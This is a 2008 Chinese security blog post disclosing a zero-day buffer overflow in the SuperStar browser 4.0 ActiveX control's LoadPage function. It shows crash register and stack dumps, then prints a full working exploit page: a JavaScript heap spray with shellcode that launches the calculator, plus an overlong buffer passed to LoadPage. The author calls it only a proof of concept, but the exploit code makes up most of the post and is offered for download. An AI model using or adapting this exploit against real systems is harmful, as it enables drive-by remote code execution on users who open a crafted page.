超星浏览器4.0漏洞0day & Exp

    [多云 September 22, 2008 10:04 | by !4p47hy ]
文章作者:friddy
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

注:文章首发Friddy的罐子,后由原创作者友情提交到邪恶八进制信息安全团队讨论组,转载请著名首发站点。

本文章只含有漏洞存在的证明,效果是运行计算器的程序,不含有攻击性代码!

去年11月出的漏洞是在target.Register(ok,buffer)上,这次的缓冲区溢出出在target.LoadPage(buffer ,1 ,1 ,1)

漏洞位置:clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2的LoadPage函数发生缓冲区溢出

漏洞告警: ACCESS_VIOLATION
Disasm: 41414141    ?????    ()

寄存器状态:
EIP 41414141
EAX BAADF000
EBX 00000000
ECX 00000000
EDX 00B36F48 -> 016E9D0C
EDI 0013E084 -> Uni: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ESI 0013E39C -> 00000000
EBP 00B36F48 -> 016E9D0C
ESP 0013D85C -> Asc: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

ArgDump:
EBP+8    BAADF00D
EBP+12    00000000
EBP+16    BAADF00D
EBP+20    BAADF00D
EBP+24    BAADF00D
EBP+28    BAADF00D

Stack Dump:
13D85C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  [................]
13D86C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  [................]
13D87C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  [................]
13D88C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  [................]
13D89C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  [................]

漏洞利用程序:
<object classid="clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2" id='target'></object>
<P>Made By Friddy QQ:568623
<P>http://www.friddy.cn
<SCRIPT language="javascript">
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;//总长度
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<300; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 3092) buffer+="\x0a\x0a\x0a\x0a";
target.LoadPage(buffer ,1 ,1 ,1);//这次出问题的是LoadPage.不是Register了
</script>


Download ( 542 downloads)

Bug&Exp | Comments(0) | Trackbacks(0) | Reads(5798)
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive